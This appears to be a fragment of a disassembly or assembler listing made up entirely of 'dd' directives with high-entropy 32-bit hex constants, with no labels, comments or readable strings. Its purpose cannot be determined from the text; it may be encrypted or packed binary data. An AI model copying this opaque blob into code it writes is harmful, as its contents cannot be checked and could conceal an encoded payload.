		dd 0DE0B0820h, 6EBD85A1h, 3163EC1Ah, 80073FF7h,	758746D5h
		dd 0FDBEA182h, 0DC023651h, 0FE3A6C77h, 140CE8D1h, 8E26C858h
		dd 11B78948h, 85FD791Ah, 8DAB2A52h, 7E25E0E5h, 72D10C0h
		dd 97402679h, 0CE07657Ah, 1B9832D8h, 0C27216Fh,	812F6403h
		dd 6852563Dh, 1B9E0F0Fh, 0C4F233FBh, 2C0FEECAh,	20392021h
		dd 5B3330D8h, 0B008C15Ah, 2527F709h, 4BD94C01h,	590C0CA0h
		dd 0D9D043E9h, 41541E92h, 0B6CE8B42h, 27981DC4h, 0F3458C5Eh
		dd 0E495C6Ch, 2E0B5758h, 0E94D10D7h, 9531B252h,	3BC78F9h
		dd 13D9623h, 5A822D54h,	0C609F571h, 93DAF121h, 1A81BB4Ah
		dd 8761C0EBh, 9DDC430h,	0D24DE97Eh, 0AB3169A4h,	5B3F4F87h
		dd 0AF36F106h, 2DEEB32Bh, 0A81ADDB0h, 8911745Dh, 9AF722B8h
		dd 4C29D7CBh, 0A342745Eh, 18185FCFh, 514D5C68h,	0A71A885Ch
		dd 0E558CB25h, 0FEB07A8Bh, 62BF04C7h, 0F8297F31h, 0E90840BEh
		dd 2CD33478h, 0E269ABEh, 12A10BE9h, 28D099EEh, 0AE68C28Eh
		dd 9E4B912Bh, 51E864h, 0E5C0FDB5h, 2EB65206h, 0C5136D98h
		dd 0D65FE28h, 7D08A10Ch, 11D109F7h, 0B040E4Ah, 0F6C818A7h
		dd 20633D15h, 2C03459Ah, 9F45A5Fh, 42224AD2h, 0F769AAFEh
		dd 255056B2h, 3082CF20h, 0BF90AC2Ch, 0D39FEEC0h, 4E72C69h
		dd 81CC88DDh, 524B104Ch
		dd 80555F92h, 3743DFA9h, 4A7BFC68h, 0F4A4ECB0h,	56324C1h
		dd 0EC2F1FF9h, 3EAC0335h, 0E0480C34h, 2F33230h,	47F03569h
		dd 0C87F7A15h, 2F6E3A9h, 0E93B2F1Bh, 937DB3BBh,	0A64BC1F9h
		dd 87E65E2Bh, 0A9AB0E4Ch, 6246C975h, 46F724h, 35283415h
		dd 7A135C7Dh, 65D00B9Fh, 0F7273E6Ah, 32083D8h, 0F0585A95h
		dd 93411569h, 96614331h, 0D0771D6Fh, 0C1010171h, 1D13BB53h
		dd 0FDF53A21h, 0B982003Bh, 444C3CC3h, 2F4FC9F4h, 85975B31h
		dd 7981BA05h, 0A048E2C8h, 0D66F1960h, 5E34849h,	9828FE81h
		dd 2AE63001h, 66851349h, 0EFBD04C4h, 0A471277Ah, 0BC1794E6h
		dd 5004DE38h, 0A19562E9h, 0E62B5F80h, 96618261h, 0AFEDF3D9h
		dd 0B880A2F2h, 0F74D9FDBh, 8529E92Fh, 75BA5BCAh, 0E9CEAA9h
		dd 0A6805E8Dh, 4006D398h, 425A517h, 356802C4h, 0C4AFEC27h
		dd 55B3C6B6h, 12940610h, 93F25B5Dh, 6571BA92h, 9A7423E9h
		dd 36D92A68h, 0FA3F02Dh, 8B11D877h, 5C8BFA12h, 971F992Eh
		dd 0A9C180ADh, 40024C3Ah, 3B8CB81h, 420577DFh, 0B947AA06h
		dd 5474AB36h, 0D69665C2h, 44A29E05h, 0AE091E6Eh, 378E0F80h
		dd 55E0080h, 698118CCh,	3105A52Dh, 0C52924CAh, 0CDDD61FAh
		dd 3FA0416h, 1EF11FCh, 2E2EDFD9h, 0EA0493CAh, 0C14E4BFCh
		dd 3C4866h, 5508B8h, 17253B9Ah,	0D467C18h, 0DF4C530Bh
		dd 5975416h, 0B83FF1E9h, 6D1783B0h, 0B1181127h,	35CD0482h
		dd 15FCE112h, 7555EB04h, 0FC308071h, 4C48D12Bh,	0ED3A5438h
		dd 47824609h, 15ED40Bh,	2EE9555Bh, 86BB74A5h, 0E5F67D4Fh
		dd 128D5973h, 4EDD828h,	3B183DC6h, 6950FA1Dh, 0D2F24E08h
		dd 254B1CD3h, 43AA4CF5h, 146F26ECh, 61DE098Ch, 2052120Ch
		dd 98630133h, 426B8D5Ch, 3B410587h, 7CDF4863h, 0AC570435h
		dd 0BBD29F1Fh, 83AED123h, 8A83E4E8h, 0E691A10h,	5BF52061h
		dd 0F219BFE8h, 0FCC33D8Ah, 3E4C270Dh, 0B14070A9h, 18D53B05h
		dd 4D09F47Dh, 0C8586C07h, 85574601h, 80DEF777h,	39C2ABCh
		dd 25F509CBh, 7840C15Eh, 8282796Dh, 0DFE80DACh,	3CC4C273h
		dd 8A7B0B13h, 0FF72435Eh, 5C2E8FF2h, 3B1BD053h,	0BF68B00Eh
		dd 60883D24h, 1731759Bh, 234898B3h, 4CAE4C08h, 7C19C652h
		dd 0FDDD5B1Bh, 0EDB8D21Fh, 336A0FB0h, 0E1E96112h, 0C27E54A5h
		dd 717DE213h, 0B13D0870h, 0AC8B521Fh, 28FE188Eh, 4E3B90F0h
		dd 0EE31EAA6h, 693E4015h, 0C4F5208Dh, 0DD28EB97h, 13066DA8h
		dd 1420693Ch, 0F1350600h, 0E9E7F67Ah, 2FD4BAE6h, 0B0FFD829h
		dd 0A49820D7h, 6BDF1DF9h, 1421D51Fh, 0E25B3B49h, 0C9F34E67h
		dd 7DF10276h, 897C6791h, 52435E57h, 82D7AEE2h, 9E54DDh
		dd 0F77631BEh, 47AE705Eh, 6081023Ah, 2FDE1253h,	0FB0CF6ECh
		dd 0C26550Fh, 0CB4412A0h, 46B20147h, 20566E43h,	93C02D20h
		dd 0BA4F89C3h, 0F3010B74h, 4CA9D068h, 0BC62584h, 308E0458h
		dd 68264413h, 0DE81EC80h, 3E7F9448h, 613FF896h,	6A55E7B7h
		dd 0B75BD3F7h, 8A109267h, 9A9C9DACh, 5E83E8C9h,	0E2482F6Eh
		dd 16177646h, 0CC65583Bh, 8858F0FEh, 85CF1A5Dh,	0B2FA5F33h
		dd 558C4F0h, 48826820h,	7162F9B4h, 25E7CC47h, 95540BE3h
		dd 83CA596Bh, 6C915CC4h, 6AE91D0Bh, 5E20E430h, 5E5C88FEh
		dd 4251758Ah, 0E3155D25h, 1376C5AFh, 0BF68EE53h, 0A27AF78Fh
		dd 9EEED693h, 1630481Bh, 40201640h, 4AA84EC1h, 4BE3AC7Dh
		dd 0E2A797BAh, 955ECE9h, 256D7D5Ch, 2BA28A09h, 0A4D7E1Eh
		dd 9EB3651Bh, 0F07027C2h, 0C21FF4A1h, 0EB3F7E55h, 0CA26C3DBh
		dd 0AD8D7925h, 9D883CDFh, 0C0AA0E08h, 45A865C1h, 81F15ABDh
		dd 0F97E5908h, 0AB32974Fh, 7AB4F556h, 71DFB48Ah, 0C203E91Fh
		dd 2C2D35B7h, 21D7E5Eh,	3FBF2517h, 0F527F2E4h, 0C5ABFD8Ch
		dd 9DE1C8CBh, 0E3063488h, 22000648h, 0B7EFFC01h, 7300F1ECh
		dd 2D3C7E56h, 5B3109A0h, 855B0459h, 0EDA790D1h,	9A7E708Ah
		dd 52D50117h, 681A9780h, 1C0D0759h, 5751A173h, 5F86E221h
		dd 80BBFC57h, 25AE60FDh, 8A01E281h, 0E91A0A38h,	0D82AFBA2h
		dd 0EA4FB611h, 114CFB8Eh, 0C3896330h, 84E2205h,	0BC6B20F0h
		dd 0B0F6252Bh, 0BF03FCD0h, 13A45920h, 0DECA3825h, 8987DBCFh
		dd 0F2B1C7Ch, 680BD026h, 0B3E94699h, 0CB7981B5h, 3555065Eh
		dd 0A836A4ECh, 280DDA5h, 5B660AC5h, 6AF4692Ch, 37CA7E0Ch
		dd 78F02EAh, 0D3297902h, 72570B61h, 0B6350AD9h,	210CF19Ch
		dd 0EC21743h, 0F30F1207h, 1932C5C3h, 0D85F6282h, 5A08816Ch
		dd 9B4FA3Ch, 0E0749AAAh, 0BC955049h, 8DBABF0Ah,	45EE6760h
		dd 444A362Ah, 85610FFh,	17928940h, 0E950126Bh, 1B050FC0h
		dd 3B02F664h, 0C0267C22h, 80AE6ABDh, 0F6CEF22Ch, 0B7538004h
		dd 78C780C9h, 3A889850h, 304C2CF8h, 5FF459B2h, 0F7FB4F12h
		dd 0BDC05A1Bh, 27D50EBEh, 18F75B51h, 83F2345Fh,	57287790h
		dd 160A3190h, 0AB0DDE31h, 0A97F2706h, 44CA0244h, 0E94CCF1Bh
		dd 340ACEC3h, 0EE64D468h, 0F70B4B98h, 2B2EC1DAh, 0B4788C36h
		dd 0DF131510h, 68C17201h, 99232EEFh, 8257551Eh,	2BFF4F94h
		dd 95CF3B60h, 1FCD6918h, 0EC23F50Ch, 9F7F870h, 33561506h
		dd 0C580CBDEh, 84F39913h, 9EE91355h, 0B47FFC54h, 0CD4AD05h
		dd 0E43F27AAh, 6705163Ah, 0A3EBE77Eh, 852C5817h, 35EFEFFEh
		dd 56A7AE4Fh, 8A4804Fh,	0C6BD0B8Fh, 0C9F0C1FFh,	7D42A231h
		dd 580840BBh, 18BE5602h, 526DFD0Dh, 11196036h, 44E9F201h
		dd 138ED55Dh, 36EB04E1h, 0D4FE8DDh, 0C380ED02h,	96FD8450h
		dd 740FA2FBh, 3F89554Dh, 5B789802h, 1E7BBF1Eh, 9F74E372h
		dd 0EBA970FCh, 0D1306971h, 7C7A0C4Fh, 0CC4C4E68h, 0C21B3108h
		dd 0F94755E9h, 0A36A0C60h, 0F2E983A6h, 0FE1C274Eh, 0B1180A50h
		dd 590C2065h, 34D802F6h, 0E9C588C0h, 0D62B7262h, 0D3749462h
		dd 4C5A07BFh, 62D937D1h, 5A080972h, 64A534A5h, 18AB813Bh
		dd 64CC2F71h, 0B89A413Fh, 5A608F3Ah, 0A00F69EFh, 68D1F716h
		dd 307D4E21h, 47797EE5h, 0F7E71350h, 7D3E3D02h,	525AD509h
		dd 0D8E225FAh, 0B9D2465Fh, 0B01C1764h, 0A7EC5AF3h, 0F6CC4F5Fh
		dd 0F58F4B49h, 64640CCh, 7C9F7227h, 18E43B79h, 555F3244h
		dd 216F55D6h, 5A97E95Eh, 0EAC0468Fh, 81170CDEh,	21315910h
		dd 2EBA6D3h, 959AE041h,	55E9FBC8h, 0C36EA96Dh, 67CA5DF6h
		dd 475BD150h, 895BBCBCh, 0CE27F839h, 0C13013B5h, 0A5273E70h
		dd 4C094420h, 23DA72Dh,	0C48912A2h, 5CC0B596h, 22B8ED47h
		dd 9112EB4Bh, 0E9B0CBA3h, 10B7A0B2h, 4B9868F0h,	96206C1Bh
		dd 68057194h, 0BB3169F6h, 41FD90B0h, 80F5026Eh,	9A8440EAh
		dd 55520B99h, 5C8CB2B0h, 625118CDh, 824C2DE0h, 2A57DF40h
		dd 0D13B5B1Fh, 708E7C30h, 0DF444CA4h, 0B80A060Eh, 35D8B052h
		dd 938D3C01h, 0F6CAE975h, 0BBE523Ah, 44FFB8F9h,	196D3042h
		dd 1404D0C3h, 2B201B90h, 0A1AB80A4h, 145EB559h,	0F0E3564Bh
		dd 149660E9h, 55CE2900h, 271C7DBDh, 13890C0Fh, 69F57680h
		dd 5F4F3731h, 0BDCB5DE1h, 0D458ADF6h, 0E19A893h, 0D31AA868h
		dd 0A9312722h, 0E86D6A5h, 0F2136044h, 0E92C4E06h, 0A946010h
		dd 130349BAh, 1B58235Ch, 13183A48h, 13FDBC2Ch, 5F02BEAEh
		dd 516C59E9h, 0D1090F46h, 0C054AF72h, 72660BCBh, 64FF098h
		dd 6EB256A9h, 48942631h, 31E85812h, 0B1EBB95Ah,	2B2C054Fh
		dd 1280BEC4h, 1604F8F8h, 0C8114112h, 9972533h, 6C795FD6h
		dd 6057546Ch, 6B199C51h
		dd 683A53D7h, 0D0B3CA70h, 0EA5ABE04h, 31C0FF55h, 0EE18149h
		dd 3B963033h, 4536C9C2h, 2880C8C2h, 5F2E0E13h, 895882BDh
		dd 10E657D1h, 6D5CE917h, 650054D7h, 73535B10h, 9A3B65Fh
		dd 0CE44AA35h, 6C8B8BBCh, 614BD570h, 0B4647BC2h, 7CCCF04h
		dd 1B80423Bh, 13AA5EF8h, 9EF0947h, 53210D16h, 7FF18851h
		dd 336E581Dh, 53DBB70Ch, 0E8FAE4D1h, 0D8D6E2F7h, 34E91008h
		dd 0EFA5C55Eh, 9D479E20h, 0EBDCE342h, 25D341FAh, 82DE276Fh
		dd 760B53BBh, 0C4811C54h, 819E3D8Dh, 3564A3C8h,	8BF0A63Fh
		dd 0A066FC09h, 0BB3A2608h, 81584E25h, 476EC3Eh,	609BC9EFh
		dd 425E30DCh, 0F64B7FA4h, 0BF184AAFh, 0B1A089D4h, 0C8514C5Ah
		dd 0C2C08B4Fh, 57472959h, 5317DEC7h, 3CD81101h,	4E722A7Ch
		dd 264E0E01h, 36442970h, 580C40B5h, 66951E90h, 29D297FCh
		dd 72F85CBDh, 773F6AC0h, 33907795h, 7EF8F3F2h, 9CF01EDDh
		dd 4A1E08ACh, 561A131h,	0ED809C07h, 6852A9A8h, 0D53A400Bh
		dd 0E2370325h, 78ABFA07h, 814601F0h, 0D55D57E6h, 87A42F0Ch
		dd 2D6BEAF6h, 0AC50BC36h, 56BBFCD3h, 21A9F128h,	37B43BA9h
		dd 0ACBC24E9h, 5E919270h, 0D0909652h, 0B117C18Bh, 57BDB72Dh
		dd 0CCB9A190h, 0B1897CB9h, 0AFF485DDh, 2E6A65E2h, 4DE70270h
		dd 87621826h, 35E01840h, 0DD7C98B0h, 543F122Dh,	0B08A0CEh
		dd 2368595Dh, 2C8E31F7h, 0EE24E549h, 82BE9ABEh,	0A45BDFF7h
		dd 0EEC4CE93h, 1E050C34h, 77AF9EA8h, 95F9B551h,	3FF0FAEDh
		dd 73876064h, 0A491ABBh, 0BBA1574Eh, 4FE3DB30h,	6620FE9Bh
		dd 5EC0714Bh, 21D8800Bh, 56023D43h, 663F7768h, 8663C10Ch
		dd 0BA883292h, 0C281C364h, 5E01363Ah, 910E6259h, 0A22827A7h
		dd 7F564E9Fh, 0A4C11A4Eh, 6D46CAAh, 38C0AD3Bh, 0D866DA33h
		dd 9EE91379h, 163EA2A5h, 15B874E0h, 0A8BB10A1h,	719F4CE3h
		dd 66E96106h, 0F4B900A0h, 0C0C94A5Fh, 4F6493B9h, 7D683502h
		dd 506DE73Bh, 3E7600DDh, 0D3011220h, 7E26E951h,	0EB23A23h
		dd 0B02B6877h, 3B5FEEAh, 43C5808Fh, 0CDA9DDF6h,	380BBDFEh
		dd 59E80DC0h, 7FC234h, 285EC3E9h, 442FE9F3h, 1CF4983h
		dd 9DE24770h, 0B91206E6h, 420F5D5Ah, 0CB9C2FF5h, 91CF093Ch
		dd 0BCAB13Fh, 3742FF02h, 0C081CAFCh, 0D36807E3h, 0A43B36Fh
		dd 0EFC6B151h, 0C107D810h, 955003EBh, 2FD5B1D3h, 0BC50CFCFh
		dd 2F058194h, 0F44C14ACh, 1F1EEA4Bh, 4A0927DFh,	3A08FF3Eh
		dd 13252607h, 0F03158BDh, 1995C887h, 0E57F9F20h, 878C048Fh
		dd 0D5F8A2ABh, 0A043C67Dh, 5A6F38EBh, 0FBA2C42Dh, 0D0D08812h
		dd 2DF329AFh, 16FE5A3Ch, 28330352h, 31521757h, 56EB63D8h
		dd 255D1FF1h, 6E36211Dh, 9E689604h, 55C54FA8h, 6588BF52h
		dd 446E9D58h, 0D2346C16h, 6E468805h, 2E990B95h,	182EEFF1h
		dd 0BF57618Bh, 0E46C6005h, 8C808112h, 0A128D93Dh, 9D2B1B80h
		dd 2E74ED8Bh, 0BFAC412h, 8907041Dh, 2CEE0E4Ah, 4A48BC9Ch
		dd 3EF4962Fh, 25C15E78h, 0C85C06E5h, 64B04517h,	33AA1677h
		dd 475B04Dh, 0A5ACC948h, 0BA3834AFh, 0BAD8D7A0h, 1AFBBD8Fh
		dd 4AA45544h, 869D4DE9h, 930AD26h, 94B06AB4h, 0C22E0337h
		dd 0AC286C64h, 561D7C2Dh, 18E904BCh, 0BB4FAE39h, 0D89B0959h
		dd 90B63FA0h, 0E94F5492h, 0D0D6252Dh, 3743B517h, 102305C8h
		dd 0D87D29FAh, 0BE50567Fh, 98F9F009h, 0E91A5124h, 580B4C9h
		dd 565D8468h, 52549C4Eh, 5626B1A0h, 0B0B6C497h,	81484025h
		dd 188CE307h, 5EB211ECh, 0A703747Fh, 89DDC0EAh,	0D162D721h
		dd 171381D7h, 8E075230h, 0E90B0854h, 0B047DA6Fh, 0EBC9571Fh
		dd 0C965F667h, 5FFE895Dh, 0A72C0F1h, 90CFB12h, 0B8312496h
		dd 1C2D17E7h, 0EFF4133Ch, 4F072510h, 0A397ECADh, 0C2051CAAh
		dd 51B208Bh, 7122D36h, 0DD87E472h, 6893D8F3h, 0E98745BBh
		dd 0EBB0BB52h, 14F59574h, 9E289036h, 5366E058h,	0F625F788h
		dd 0D8C877D7h, 5F97B7A7h, 5C5D9832h, 5305C273h,	31036E0Ah
		dd 0A579B110h, 1F134D0h, 0A8252591h, 5E65C5F0h,	0D5B505D8h
		dd 0E96A6331h, 8EE9E08Eh, 0D6689F7Ch, 411F29C3h, 98161F6Ch
		dd 225C1A56h, 0AC71398Eh, 7E2C261Eh, 0DE404801h, 0B5D4ACB4h
		dd 84B9A3AFh, 0F112AB20h, 52413068h, 8604B60Eh,	8D3ECDEh
		dd 16DB4AE9h, 6B7EDD9Fh, 76681B42h, 0C0997765h,	3C6AF41Ah
		dd 4484E910h, 43945F2Fh, 0D78B5ABCh, 0D501157h,	0CBFEB754h
		dd 0B14C83Ch, 4F960BCh,	0C0C777E9h, 7AA5E986h, 37C2075Dh
		dd 60282B34h, 0A276DBE2h, 0CA06737Ch, 75085DD0h, 80300B24h
		dd 240088F7h, 3F7A4E09h, 7C9652B0h, 0BCDFC2Dh, 4CDE9F1Fh
		dd 5464F182h, 0F4D98068h, 0A03BD059h, 2593A1E5h, 2DD87113h
		dd 5FB05120h, 24A4B629h, 58E47150h, 0ED46F18Bh,	0E86E2985h
		dd 44AF92C5h, 3556905h,	9CD2F792h, 0AA3418BFh, 0FA0511FEh
		dd 0A6BFE954h, 0CD5BC9FEh, 95F83EF1h, 5D4C9420h, 0BF4C12AFh
		dd 411031ABh, 82384433h, 1F0E415h, 568BB125h, 1C482DB9h
		dd 2185D9A5h, 0F6561606h, 6A0D05E7h, 0F5EE07FAh, 0C14757F2h
		dd 704E2120h, 1724DE27h, 0F004322Bh, 0D5C1FE0Eh, 0CC7B1AC4h
		dd 0D957A48h, 0A93A5F79h, 75E9C4A5h, 62A895D4h,	55FD7A73h
		dd 8D01E7C7h, 0D33B5991h, 3513768Fh, 29FAD6CFh,	2F68F045h
		dd 27C6599Fh, 480D0500h, 35FE07C5h, 19CC505Ah, 307941C1h
		dd 8135F7Ah, 83DA39F8h,	407D3110h, 265DBDB4h, 0EE3E4188h
		dd 440BBADFh, 5AD62034h, 48EDBE01h, 0F1014EC8h,	28C15A30h
		dd 0B60BE981h, 88021724h, 2517FF45h, 5E00189Fh,	0D3E8B912h
		dd 0A1B135E9h, 2F90AC23h, 121DE5Ah, 5FDB4CD4h, 62268931h
		dd 0EB237627h, 0BC26800h, 0EC902B29h, 332EDB0Bh, 509FA51h
		dd 0D640CFF7h, 1D8E0E64h, 542DBA17h, 0C06F9360h, 68DBF7D2h
		dd 0D39D5C73h, 4FC088F2h, 6296572Fh, 4CD8212Eh,	876DCCBh
		dd 580B4C4Fh, 72E7F559h, 58249A20h, 69E9D151h, 0F5A55620h
		dd 0A74E2C1Ch, 8D9A6AD2h, 0BB033E59h, 4601A852h, 0D76C55E9h
		dd 0EBC76020h, 0B03ACh,	0A496D7A1h, 0FC4A38E9h,	0D958C341h
		dd 0E70D2BEh, 27730BB8h, 2E2293Fh, 0BA5B0804h, 49B2FD44h
		dd 0D83C3A1Bh, 1BFD5F89h, 9A5F7614h, 2175C780h,	894809BEh
		dd 0A4221388h, 0DA735627h, 0F7470581h, 0C04FE3C7h, 542AC226h
		dd 29344B09h, 111A0DFAh, 7D1B8E7Ah, 5228159Ah, 5A4E9FFEh
		dd 6E5582BEh, 44B2AC68h, 16D32025h, 0CB80121Eh,	6F8506DEh
		dd 0D9BD48B3h, 24061FEEh, 424E01A9h, 0D65E73D2h, 5DE6662h
		dd 0F28F8740h, 8A709516h, 59C5C080h, 0E92EB10Bh, 95A8F82Bh
		dd 24F23BD6h, 0CA009A8h, 82C35B28h, 27F66BEBh, 77655F27h
		dd 17685360h, 6B99972Dh, 1CEE2881h, 13BFAD66h, 0BCA316C7h
		dd 18BE3E7Ch, 1E88FC5Ah, 0D9683874h, 0B276137h,	0DFE9AFF7h
		dd 89C5F903h, 0C349176h, 0E3E06B82h, 7F5509EAh,	0F48B14A3h
		dd 0F7FF2ED5h, 7E2B9CEFh, 0E5944E5Eh, 32F7B6BFh, 0DF051D70h
		dd 96D35E4Bh, 0A87E98Ch, 0BD081B2Ch, 5ACA053Eh,	0C5AF36F0h
		dd 6330FB1Fh, 5BE5C3ADh, 0A3C31B51h, 0D3FFFAB2h, 107B3B4h
		dd 5A0AB0F7h, 4A4C6068h, 0E34ED8ACh, 473A2F1Ah,	0A426CBC6h
		dd 89BA84CAh, 0DF4CB2B8h, 60FAE213h, 0B67FEE6Ah, 2DF0D43Ch
		dd 180A6502h, 0C8D55E42h, 27EDC6F7h, 89F899F1h,	807320h
		dd 781C1625h, 39ED0544h, 824D5E3Ah, 0BEB33426h,	70C8D521h
		dd 35583A0Eh, 0D1D32A93h
		dd 2F95756h, 6488BBEh, 0B5A5562h, 47E2084Ah, 900BEE2Fh
		dd 7C2734F4h, 6CCA42CEh, 59FC6477h, 0BB032085h,	7FFD2E39h
		dd 2A43A9D1h, 61455D30h, 0FC637D0Bh, 0BDE89793h, 439A626Ch
		dd 25FD6825h, 0E4E290C8h, 4C147105h, 2491C046h,	794B4342h
		dd 0A2C5FBB0h, 0BE396308h, 58178012h, 0A094BC2Dh, 0F7F44EC1h
		dd 70EE5DC5h, 228F049h,	865B79F7h, 39DFF436h, 0E933F1B0h
		dd 0D4BF7FB6h, 9DA262C3h, 9CA67B0Dh, 524C1F4Ch,	0BFEEB08Ah
		dd 2931B109h, 0D29D0720h, 277CDE3h, 2F1885D4h, 0BA910169h
		dd 73248202h, 7730F4D5h, 0B7D6E264h, 0BE15C5AEh, 55465540h
		dd 0D2C3C8E9h, 4E6F4483h, 9DC5F452h, 3D610441h,	0D255B86Ah
		dd 785C29BAh, 0A115E142h, 2CBAECF3h, 5C8A721Ah,	96A643E3h
		dd 56C78D26h, 12BDC08h,	59FA8B2Dh, 3F18E9F5h, 26E84484h
		dd 6B653DA8h, 1FEC584Eh, 5E592F10h, 8C16E3FCh, 0B739FB4Dh
		dd 80136DF8h, 0C878B70Fh, 2D1CE633h, 0D14380C1h, 4F295D04h
		dd 2F680841h, 0E405F1D4h, 0F02E5F6Dh, 7B163D38h, 88801705h
		dd 3079F5E5h, 20C50E0h,	0D8BD5962h, 246D087Bh, 7F3D3BF4h
		dd 0D72DED04h, 0E5C1EF1Ah, 0CE7C4A5Dh, 0CBE1772h, 14A8B9h
		dd 2D6046ADh, 82BA44E9h, 1970005Fh, 0B5D3803Ch,	0E53C970Fh
		dd 0E98BBB7Eh, 81356A2Ch, 19EB6846h, 7907E32Fh,	0D520512Ah
		dd 0AB078D5Ah, 0C020B450h, 60FE05E4h, 68030ACCh, 11B32640h
		dd 0A9D0AD38h, 3942F7F6h, 0E9C29976h, 2424F60Bh, 2313315Ch
		dd 97718825h, 0BF29144Bh, 0F232BA17h, 2C57047Fh, 78825B13h
		dd 30F0007h, 0BBA21F0Bh, 0F198A744h, 74D73139h,	63BDE917h
		dd 2A7A6D40h, 965B43A5h, 2335E06Bh, 3806B87Ch, 69BE940h
		dd 5DEB2749h, 9CA377CEh, 5A6CFC95h, 1D262BCh, 1D0785CEh
		dd 0BE86F7Ah, 54930841h, 0E5DFB83Ch, 5C6D3D9Ch,	40C0EC2Ah
		dd 0CD251172h, 80C5743Bh, 6FA5492Dh, 6064E9C2h,	9FC7797Fh
		dd 0B0B22916h, 0A9015707h, 5D5A5834h, 8B02E904h, 30BB31AEh
		dd 206335E8h, 744B99A2h, 1C3D4789h, 14A6E6D3h, 45E5DE8h
		dd 77526857h, 0C23EA08Dh, 79DD7C66h, 44556511h,	61F249h
		dd 0F18047B1h, 0CB282719h, 0C5271EFCh, 1298E84Eh, 0A4B7B8E4h
		dd 58E5A832h, 615D4B96h, 6797FACh, 85E02044h, 0C1DC2167h
		dd 81FA1835h, 8B4F1560h, 0A06B9131h, 8B5517Ch, 61C53E80h
		dd 0AF701013h, 0FC6FA629h, 4C82E473h, 0FCBA00CAh, 7E5BAE52h
		dd 597D2CACh, 0B80177B4h, 63BE459Bh, 0B5207B48h, 2D55F835h
		dd 28C3327Bh, 0CC03062Ch, 10630Bh, 6F07C620h, 945B5AA6h
		dd 0FE081258h, 0F28980E3h, 0BD02FB58h, 31167932h, 9DDB6195h
		dd 0BF239D7Eh, 7ED1120Dh, 47E8A644h, 0AC2EFB99h, 0A3BA00D7h
		dd 0C13D7C0Bh, 0FC045BE2h, 0AB05E53h, 684C280Fh, 0F37B5A82h
		dd 0E0D39CC0h, 0A1E5E2ACh, 38BE2E8Ch, 1148ED8Bh, 0A4E68FC2h
		dd 0C0842B23h, 0C8B96BEh, 0B9685D0Bh, 26A87720h, 0F4923D08h
		dd 432FE73h, 0EDE7C55h,	9A272EBBh, 58C2A36Bh, 81FA891Dh
		dd 88F79EDh, 5D164B42h,	9858339h, 0FA83D2E9h, 1035F83Ch
		dd 25779B48h, 760B1807h, 868BDD60h, 0CA73AE43h,	1A17F809h
		dd 9940574Ch, 2201A806h, 0E9DE21CEh, 0BC6BDA9Ch, 5EE9B83Ch
		dd 2D51011Dh, 60C91689h, 2EF8F83Fh, 0EFB16E64h,	5A6F90FAh
		dd 2B70FA68h, 0C6447EBFh, 50580E8Bh, 0FC20B4h, 8D11860Dh
		dd 4E1C2573h, 5C26852Fh, 42078280h, 697F09A1h, 0AF2BE9E7h
		dd 0FDF9083Dh, 5E25BA2Eh, 9725F7EFh, 0B6105BE1h, 256E7805h
		dd 0A409064Fh, 62C25375h, 0C6FF11E9h, 391CC1A0h, 2F2DCC30h
		dd 4DE45126h, 0A84A7912h, 0F5A95A78h, 26C5A24Bh, 65A5B6EEh
		dd 6888B15Ah, 5EAC2FEAh, 0AEA7BAF5h, 4B14D805h,	0DC12C302h
		dd 5BF0D5Bh, 0EE5BDEE6h, 4E5FF7E4h, 6A45AA89h, 0A4AA4A23h
		dd 2D5ACA3Bh, 40EBC7F4h, 0FAB7056Fh, 0F56FEB95h, 9C46209Fh
		dd 0C2C33E60h, 7B657282h, 5FAD285Dh, 1742F851h,	0FE9664B1h
		dd 5DF02405h, 0CF0472AEh, 91CD3D5h, 717DB0D4h, 479D42A5h
		dd 0F6AA8904h, 0A36A600Eh, 953D4255h, 820DA5Ch,	5896D9Ch
		dd 404BA0F3h, 5E328121h, 0BE1CD45Dh, 167838EDh,	0CE1779Fh
		dd 0EFDF9250h, 0D9FB330Fh, 587A6BABh, 19799F7Bh, 13AEE163h
		dd 0B64EE063h, 0C298C9D4h, 9EF45738h, 0E9A72959h, 9CD92E56h
		dd 0B193D453h, 0F7C229E2h, 389C6DE6h, 7ED5197h,	805352C5h
		dd 32446E59h, 0C9370B90h, 2BB41A99h, 0AAF563FCh, 0B95FBECBh
		dd 0ADF24EA0h, 9ABACAD8h, 134B5D02h, 4A3454E9h,	0BFE2612Bh
		dd 0C162DCC2h, 3FFC63E9h, 4B729BD8h, 5EA62349h,	2E8FA7C9h
		dd 0EA3D4D8Ch, 0B1724A99h, 20F3CDA4h, 37BEC33Ah, 56BCE98Fh
		dd 688202F2h, 0B8CC532Dh, 5BC4234Bh, 57C37437h,	0EF19029Bh
		dd 34C818F7h, 0AA0F08D7h, 69B27E03h, 5DF1F807h,	9054FE7Bh
		dd 372C0165h, 73E95FE6h, 0BDD87E14h, 4749CECh, 835E5456h
		dd 0D8E003DCh, 0D314F723h, 1087E3C1h, 501DF249h, 7DCCCB59h
		dd 5FE9BCF4h, 0D0BE6F1h, 4B845283h, 0EEF6C5D9h,	444EE9CEh
		dd 14951215h, 57B11800h, 1F94C533h, 0CE3F6904h,	0C97FD0F7h
		dd 18FFA176h, 5E1BEE4Dh, 174C041Eh, 29F7EA68h, 4E20C648h
		dd 3E522C48h, 6816F4C8h, 0A0317C35h, 17F0DAB2h,	2CD03A28h
		dd 0F0925948h, 0C32C6806h, 0ACC5B710h, 1B7838B1h, 3A458FF1h
		dd 4FF69B90h, 0D23C50E2h, 4FFEE0DAh, 32DFBC6Dh,	80020605h
		dd 0F0F376D9h, 0CB012573h, 126C5359h, 0E903098Fh, 0DDC8EBBAh
		dd 323B1EA8h, 69C70576h, 12FABB66h, 5B3BBCC9h, 546038AFh
		dd 0E91384E5h, 0DEA4192Ch, 0E64C05DBh, 0FBB46875h, 0C9BE1530h
		dd 1C1A715Ah, 253697E9h, 89FDED77h, 61425EE9h, 0BC863B84h
		dd 44994C3Dh, 0C90F818Bh, 302355BFh, 0D08A0300h, 0E9CB892Bh
		dd 81173EEDh, 1519DFFBh, 4C39002h, 3094B450h, 0C3C984FAh
		dd 451125E9h, 0C6001EFh, 3D1F2916h, 2AD45AB7h, 5D4BEB3h
		dd 4C7F0568h, 0B724C238h, 51C5D457h, 4EB3D5Ch, 17030D97h
		dd 0C02FD7C9h, 0F51496C8h, 250448E4h, 7BC7FC9h,	471870F8h
		dd 5A5950ECh, 1B34F7A0h, 0D6676A2Fh, 554303C5h,	0A8D9BB68h
		dd 0E25B6144h, 8007DDD4h, 6A8516E2h, 5BF78BB0h,	1FB8F2D1h
		dd 0C39F07E1h, 440124EFh, 0D4B69710h, 45B2B64Bh, 0AA0668C5h
